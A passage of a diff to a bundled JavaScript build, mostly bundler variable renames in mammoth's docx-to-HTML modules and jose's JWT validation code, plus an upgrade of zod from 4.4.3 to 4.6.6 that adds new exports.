generateElementString(writer, node2) { + if (ast.isVoidElement(node2)) { + writer.selfClosing(node2.tag.tagName, node2.tag.attributes); } else { - writer.open(node.tag.tagName, node.tag.attributes); - write(writer, node.children); - writer.close(node.tag.tagName); + writer.open(node2.tag.tagName, node2.tag.attributes); + write(writer, node2.children); + writer.close(node2.tag.tagName); } } - function generateTextString(writer, node) { - writer.text(node.value); + function generateTextString(writer, node2) { + writer.text(node2.value); } exports2.write = write; } @@ -85643,7 +85643,7 @@ var require_html_writer = __commonJS({ var start = true; var inText = false; var writer2 = simpleWriter(); - function open(tagName, attributes) { + function open2(tagName, attributes) { if (indentedElements[tagName]) { indent(); } @@ -85696,7 +85696,7 @@ var require_html_writer = __commonJS({ } return { asString: writer2.asString, - open, + open: open2, close: close2, text: text2, selfClosing @@ -85704,7 +85704,7 @@ var require_html_writer = __commonJS({ } function simpleWriter() { var fragments = []; - function open(tagName, attributes) { + function open2(tagName, attributes) { var attributeString = generateAttributeString(attributes); fragments.push("<" + tagName + attributeString + ">"); } @@ -85731,7 +85731,7 @@ var require_html_writer = __commonJS({ } return { asString, - open, + open: open2, close: close2, text: text2, selfClosing, @@ -85833,7 +85833,7 @@ var require_markdown_writer = __commonJS({ var elementStack = []; var list = null; var listItem = {}; - function open(tagName, attributes) { + function open2(tagName, attributes) { attributes = attributes || {}; var createElement = htmlToMarkdown[tagName] || function() { return {}; @@ -85864,7 +85864,7 @@ var require_markdown_writer = __commonJS({ fragments.push(end || ""); } function selfClosing(tagName, attributes) { - open(tagName, attributes); + open2(tagName, attributes); close2(tagName); } function text2(value) { @@ -85875,7 +85875,7 @@ var require_markdown_writer = __commonJS({ } return { asString, - open, + open: open2, close: close2, text: text2, selfClosing @@ -85942,9 +85942,9 @@ var require_document_to_html = __commonJS({ var messages3 = []; var html = elementToHtml(document2, messages3, /* @__PURE__ */ Object.create(null)); var deferredNodes = []; - walkHtml(html, function(node) { - if (node.type === "deferred") { - deferredNodes.push(node); + walkHtml(html, function(node2) { + if (node2.type === "deferred") { + deferredNodes.push(node2); } }); var deferredValues = /* @__PURE__ */ Object.create(null); @@ -85954,17 +85954,17 @@ var require_document_to_html = __commonJS({ }); }).then(function() { function replaceDeferred(nodes) { - return flatMap(nodes, function(node) { - if (node.type === "deferred") { - return deferredValues[node.id]; - } else if (node.children) { + return flatMap(nodes, function(node2) { + if (node2.type === "deferred") { + return deferredValues[node2.id]; + } else if (node2.children) { return [ - _3.extend({}, node, { - children: replaceDeferred(node.children) + _3.extend({}, node2, { + children: replaceDeferred(node2.children) }) ]; } else { - return [node]; + return [node2]; } }); } @@ -86086,8 +86086,8 @@ var require_document_to_html = __commonJS({ return function(image, messages3) { return promises.attempt(function() { return convertImage(image, messages3); - }).caught(function(error51) { - messages3.push(results.error(error51)); + }).caught(function(error62) { + messages3.push(results.error(error62)); return []; }); }; @@ -86255,18 +86255,18 @@ var require_document_to_html = __commonJS({ return [Html.freshElement("input", attributes)]; }, "bookmarkStart": function(element, messages3, options2) { - var anchor = Html.freshElement("a", { + var anchor2 = Html.freshElement("a", { id: htmlId(element.name) }, [Html.forceWrite]); - return [anchor]; + return [anchor2]; }, "noteReference": function(element, messages3, options2) { noteReferences.push(element); - var anchor = Html.freshElement("a", { + var anchor2 = Html.freshElement("a", { href: "#" + noteHtmlId(element), id: noteRefHtmlId(element) }, [Html.text("[" + noteNumber++ + "]")]); - return [Html.freshElement("sup", {}, [anchor])]; + return [Html.freshElement("sup", {}, [anchor2])]; }, "note": function(element, messages3, options2) { var children = convertElements(element.body, messages3, options2); @@ -86312,10 +86312,10 @@ var require_document_to_html = __commonJS({ return _3.flatten(values3.map(func), true); } function walkHtml(nodes, callback) { - nodes.forEach(function(node) { - callback(node); - if (node.children) { - walkHtml(node.children, callback); + nodes.forEach(function(node2) { + callback(node2); + if (node2.children) { + walkHtml(node2.children, callback); } }); } @@ -86677,13 +86677,13 @@ var require_rules2 = __commonJS({ var lazyIterators = require_lazy_iterators(); exports2.token = function(tokenType, value) { var matchValue = value !== void 0; - return function(input) { - var token = input.head(); + return function(input2) { + var token = input2.head(); if (token && token.name === tokenType && (!matchValue || token.value === value)) { - return results.success(token.value, input.tail(), token.source); + return results.success(token.value, input2.tail(), token.source); } else { var expected = describeToken({ name: tokenType, value }); - return describeTokenMismatch(input, expected); + return describeTokenMismatch(input2, expected); } }; }; @@ -86694,17 +86694,17 @@ var require_rules2 = __commonJS({ if (!_3.isArray(parsers2)) { parsers2 = Array.prototype.slice.call(arguments, 1); } - return function(input) { + return function(input2) { return lazyIterators.fromArray(parsers2).map(function(parser) { - return parser(input); + return parser(input2); }).filter(function(result2) { return result2.isSuccess() || result2.isError(); - }).first() || describeTokenMismatch(input, name); + }).first() || describeTokenMismatch(input2, name); }; }; exports2.then = function(parser, func) { - return function(input) { - var result2 = parser(input); + return function(input2) { + var result2 = parser(input2); if (!result2.map) { console.log(result2); } @@ -86713,10 +86713,10 @@ var require_rules2 = __commonJS({ }; exports2.sequence = function() { var parsers2 = Array.prototype.slice.call(arguments, 0); - var rule = function(input) { - var result2 = _3.foldl(parsers2, function(memo, parser) { - var result3 = memo.result; - var hasCut = memo.hasCut; + var rule = function(input2) { + var result2 = _3.foldl(parsers2, function(memo2, parser) { + var result3 = memo2.result; + var hasCut = memo2.hasCut; if (!result3.isSuccess()) { return { result: result3, hasCut }; } @@ -86731,7 +86731,7 @@ var require_rules2 = __commonJS({ values3 = result3.value(); } var remaining = subResult.remaining(); - var source2 = input.to(remaining); + var source2 = input2.to(remaining); return { result: results.success(values3, remaining, source2), hasCut @@ -86741,8 +86741,8 @@ var require_rules2 = __commonJS({ } else { return { result: subResult, hasCut }; } - }, { result: results.success(new SequenceValues(), input), hasCut: false }).result; - var source = input.to(result2.remaining()); + }, { result: results.success(new SequenceValues(), input2), hasCut: false }).result; + var source = input2.to(result2.remaining()); return result2.map(function(values3) { return values3.withValue(exports2.sequence.source, source); }); @@ -86817,17 +86817,17 @@ var require_rules2 = __commonJS({ captureName: "\u2603source\u2603" }; exports2.sequence.cut = function() { - return function(input) { - return results.cut(input); + return function(input2) { + return results.cut(input2); }; }; exports2.optional = function(rule) { - return function(input) { - var result2 = rule(input); + return function(input2) { + var result2 = rule(input2); if (result2.isSuccess()) { return result2.map(options.some); } else if (result2.isFailure()) { - return results.success(options.none, input); + return results.success(options.none, input2); } else { return result2; } @@ -86840,29 +86840,29 @@ var require_rules2 = __commonJS({ return repeatedWithSeparator(rule, separator, true); }; var zeroOrMore = exports2.zeroOrMore = function(rule) { - return function(input) { + return function(input2) { var values3 = []; var result2; - while ((result2 = rule(input)) && result2.isSuccess()) { - input = result2.remaining(); + while ((result2 = rule(input2)) && result2.isSuccess()) { + input2 = result2.remaining(); values3.push(result2.value()); } if (result2.isError()) { return result2; } else { - return results.success(values3, input); + return results.success(values3, input2); } }; }; exports2.oneOrMore = function(rule) { return exports2.oneOrMoreWithSeparator(rule, noOpRule); }; - function noOpRule(input) { - return results.success(null, input); + function noOpRule(input2) { + return results.success(null, input2); } var repeatedWithSeparator = function(rule, separator, isOneOrMore) { - return function(input) { - var result2 = rule(input); + return function(input2) { + var result2 = rule(input2); if (result2.isSuccess()) { var mainRule = exports2.sequence.capture(rule, "main"); var remainingRule = zeroOrMore(exports2.then( @@ -86874,7 +86874,7 @@ var require_rules2 = __commonJS({ } else if (isOneOrMore || result2.isError()) { return result2; } else { - return results.success([], input); + return results.success([], input2); } }; }; @@ -86893,9 +86893,9 @@ var require_rules2 = __commonJS({ }); }); var repeatedRule = exports2.firstOf.apply(null, ["rules"].concat(rights)); - return function(input) { - var start = input; - var leftResult = leftRule(input); + return function(input2) { + var start = input2; + var leftResult = leftRule(input2); if (!leftResult.isSuccess()) { return leftResult; } @@ -86921,8 +86921,8 @@ var require_rules2 = __commonJS({ return Array.prototype.slice.call(arguments, 0); }; exports2.nonConsuming = function(rule) { - return function(input) { - return rule(input).changeRemaining(input); + return function(input2) { + return rule(input2).changeRemaining(input2); }; }; var describeToken = function(token) { @@ -86932,22 +86932,22 @@ var require_rules2 = __commonJS({ return token.name; } }; - function describeTokenMismatch(input, expected) { - var error51; - var token = input.head(); + function describeTokenMismatch(input2, expected) { + var error62; + var token = input2.head(); if (token) { - error51 = errors.error({ + error62 = errors.error({ expected, actual: describeToken(token), location: token.source }); } else { - error51 = errors.error({ + error62 = errors.error({ expected, actual: "end of tokens" }); } - return results.failure([error51], input); + return results.failure([error62], input2); } } }); @@ -87121,11 +87121,11 @@ var require_bottom_up = __commonJS({ }; var lazyRule = function(ruleBuilder) { var rule; - return function(input) { + return function(input2) { if (!rule) { rule = ruleBuilder(); } - return rule(input); + return rule(input2); }; }; } @@ -87144,16 +87144,16 @@ var require_regex_tokeniser = __commonJS({ regex: new RegExp(rule.regex.source, "g") }; }); - function tokenise(input, description) { - var source = new StringSource(input, description); + function tokenise(input2, description) { + var source = new StringSource(input2, description); var index2 = 0; var tokens = []; - while (index2 < input.length) { - var result2 = readNextToken(input, index2, source); + while (index2 < input2.length) { + var result2 = readNextToken(input2, index2, source); index2 = result2.endIndex; tokens.push(result2.token); } - tokens.push(endToken(input, source)); + tokens.push(endToken(input2, source)); return tokens; } function readNextToken(string4, startIndex, source) { @@ -87182,11 +87182,11 @@ var require_regex_tokeniser = __commonJS({ ); return { token, endIndex }; } - function endToken(input, source) { + function endToken(input2, source) { return new Token( "end", null, - source.range(input.length, input.length) + source.range(input2.length, input2.length) ); } return { @@ -87209,11 +87209,11 @@ var require_lop = __commonJS({ exports2.RegexTokeniser = require_regex_tokeniser().RegexTokeniser; exports2.rule = function(ruleBuilder) { var rule; - return function(input) { + return function(input2) { if (!rule) { rule = ruleBuilder(); } - return rule(input); + return rule(input2); }; }; } @@ -87657,11 +87657,11 @@ var require_style_reader = __commonJS({ return new results.Result(null, [results.warning(describeFailure(string4, parseResult))]); } } - function describeFailure(input, parseResult) { - return "Did not understand this style mapping, so ignored it: " + input + "\n" + parseResult.errors().map(describeError).join("\n"); + function describeFailure(input2, parseResult) { + return "Did not understand this style mapping, so ignored it: " + input2 + "\n" + parseResult.errors().map(describeError).join("\n"); } - function describeError(error51) { - return "Error was at character number " + error51.characterNumber() + ": Expected " + error51.expected + " but got " + error51.actual; + function describeError(error62) { + return "Error was at character number " + error62.characterNumber() + ": Expected " + error62.expected + " but got " + error62.actual; } var styleRule = createStyleRule(); } @@ -87820,30 +87820,30 @@ var require_lib7 = __commonJS({ exports2.underline = require_underline(); exports2.embedStyleMap = embedStyleMap; exports2.readEmbeddedStyleMap = readEmbeddedStyleMap; - function convertToHtml(input, options) { - return convert(input, options); + function convertToHtml(input2, options) { + return convert(input2, options); } - function convertToMarkdown(input, options) { + function convertToMarkdown(input2, options) { var markdownOptions = Object.create(options || {}); markdownOptions.outputFormat = "markdown"; - return convert(input, markdownOptions); + return convert(input2, markdownOptions); } - function convert(input, options) { + function convert(input2, options) { options = readOptions(options); - return unzip2.openZip(input).tap(function(docxFile) { + return unzip2.openZip(input2).tap(function(docxFile) { return docxStyleMap.readStyleMap(docxFile).then(function(styleMap) { options.embeddedStyleMap = styleMap; }); }).then(function(docxFile) { - return docxReader.read(docxFile, input, options).then(function(documentResult) { + return docxReader.read(docxFile, input2, options).then(function(documentResult) { return documentResult.map(options.transformDocument); }).then(function(documentResult) { return convertDocumentToHtml(documentResult, options); }); }); } - function readEmbeddedStyleMap(input) { - return unzip2.openZip(input).then(docxStyleMap.readStyleMap); + function readEmbeddedStyleMap(input2) { + return unzip2.openZip(input2).then(docxStyleMap.readStyleMap); } function convertDocumentToHtml(documentResult, options) { var styleMapResult = parseStyleMap(options.readStyleMap()); @@ -87864,13 +87864,13 @@ var require_lib7 = __commonJS({ }); }); } - function extractRawText(input) { - return unzip2.openZip(input).then(docxReader.read).then(function(documentResult) { + function extractRawText(input2) { + return unzip2.openZip(input2).then(docxReader.read).then(function(documentResult) { return documentResult.map(convertElementToRawText); }); } - function embedStyleMap(input, styleMap) { - return unzip2.openZip(input).tap(function(docxFile) { + function embedStyleMap(input2, styleMap) { + return unzip2.openZip(input2).tap(function(docxFile) { return docxStyleMap.writeStyleMap(docxFile, styleMap); }).then(function(docxFile) { return docxFile.toArrayBuffer(); @@ -88140,8 +88140,8 @@ var JWTClaimValidationFailed = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JWTExpired = class extends JOSEError { @@ -88150,8 +88150,8 @@ var JWTExpired = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JOSEAlgNotAllowed = class extends JOSEError { @@ -88222,23 +88222,23 @@ var JWSSignatureVerificationFailed = class extends JOSEError { // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js var invalid = "The input to be decoded is not correctly encoded."; -function decode(input) { +function decode(input2) { try { - return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + return decodeBase64(typeof input2 == "string" ? input2 : decoder.decode(input2), true); } catch (cause) { throw new TypeError(invalid, { cause }); } } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js -function isObject2(input) { - if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") +function isObject2(input2) { + if (typeof input2 != "object" || input2 === null || Object.prototype.toString.call(input2) !== "[object Object]") return false; - const prototype = Object.getPrototypeOf(input); + const prototype = Object.getPrototypeOf(input2); return prototype === null || Object.getPrototypeOf(prototype) === null; } -function isJwkSet(input) { - return isObject2(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject2); +function isJwkSet(input2) { + return isObject2(input2) && Array.isArray(input2.keys) && Array.from(input2.keys).every(isObject2); } function isDisjoint(...headers) { const parameters = /* @__PURE__ */ new Set(); @@ -88287,7 +88287,7 @@ function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); if (!protectedHeader || protectedHeader.crit === void 0) return []; - if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input2) => typeof input2 != "string" || input2.length === 0)) throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; for (const parameter of protectedHeader.crit) { @@ -88593,26 +88593,26 @@ function secs(str) { const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; } -function validateInput(label, input) { - if (!Number.isFinite(input)) +function validateInput(label, input2) { + if (!Number.isFinite(input2)) throw new TypeError(`Invalid ${label} input`); - return input; + return input2; } var normalizeTyp = (value) => { const normalized = value.toLowerCase(); return value.includes("/") ? normalized : `application/${normalized}`; }; var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; -function validateNumericDate(payload, claim, required2 = false) { - const value = payload[claim]; +function validateNumericDate(payload, claim2, required2 = false) { + const value = payload[claim2]; if (!(value === void 0 && !required2)) { if (typeof value != "number") - throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + throw new JWTClaimValidationFailed(`"${claim2}" claim must be a number`, payload, claim2, "invalid"); return value; } } -function unexpectedClaim(payload, claim) { - throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, checkFailed); +function unexpectedClaim(payload, claim2) { + throw new JWTClaimValidationFailed(`unexpected "${claim2}" claim value`, payload, claim2, checkFailed); } function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { let payload; @@ -88627,9 +88627,9 @@ function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); - for (const claim of new Set(presenceCheck.reverse())) - if (!Object.hasOwn(payload, claim)) - throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + for (const claim2 of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim2)) + throw new JWTClaimValidationFailed(`missing required "${claim2}" claim`, payload, claim2, "missing"); issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); const { clockTolerance } = options; let tolerance = 0; @@ -88678,8 +88678,8 @@ async function importWithAlgCache(cache2, jwk, entry) { if (key.type !== "public") throw new JWKSInvalid("JSON Web Key Set members must be public keys"); return cached2[alg] = key, key; - }).catch((error51) => { - throw cached2[alg] === pending && delete cached2[alg], error51; + }).catch((error62) => { + throw cached2[alg] === pending && delete cached2[alg], error62; }); cached2[alg] = pending; } @@ -88705,14 +88705,14 @@ function createLocalJWKSet(jwks) { if (!length) throw new JWKSNoMatchingKey(); if (length !== 1) { - const error51 = new JWKSMultipleMatchingKeys(); - throw error51[Symbol.asyncIterator] = async function* () { + const error62 = new JWKSMultipleMatchingKeys(); + throw error62[Symbol.asyncIterator] = async function* () { for (const jwk2 of candidates) try { yield await importWithAlgCache(cached2, jwk2, entry); } catch { } - }, error51; + }, error62; } return importWithAlgCache(cached2, jwk, entry); }, "jwks", { @@ -88815,12 +88815,13 @@ function createRemoteJWKSet(url2, options) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -88836,6 +88837,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -88851,12 +88855,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -88916,14 +88922,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, decode: () => decode3, decodeAsync: () => decodeAsync2, + deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -88941,6 +88951,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -88950,7 +88961,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -88977,6 +88990,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -88997,6 +89011,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse2, parseAsync: () => parseAsync2, @@ -89007,6 +89022,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => _properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -89036,6 +89052,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => _trim, @@ -89053,12 +89070,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -89090,6 +89110,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -89097,8 +89118,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -89112,6 +89135,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -89167,10 +89191,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -89186,6 +89215,7 @@ __export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -89207,6 +89237,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -89255,6 +89286,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -89297,7 +89329,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -89310,18 +89347,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, meta: () => meta, parse: () => parse, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -89330,94 +89379,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _3, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _3.prototype; - const keys2 = Object.keys(proto); - for (let i = 0; i < keys2.length; i++) { - const k = keys2[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _3(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_3, "init", { value: init }); - Object.defineProperty(_3, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_3, "name", { value: name }); - return _3; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -89428,6 +89410,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -89436,8 +89419,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -89450,11 +89437,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject3, isPlainObject: () => isPlainObject, issue: () => issue, 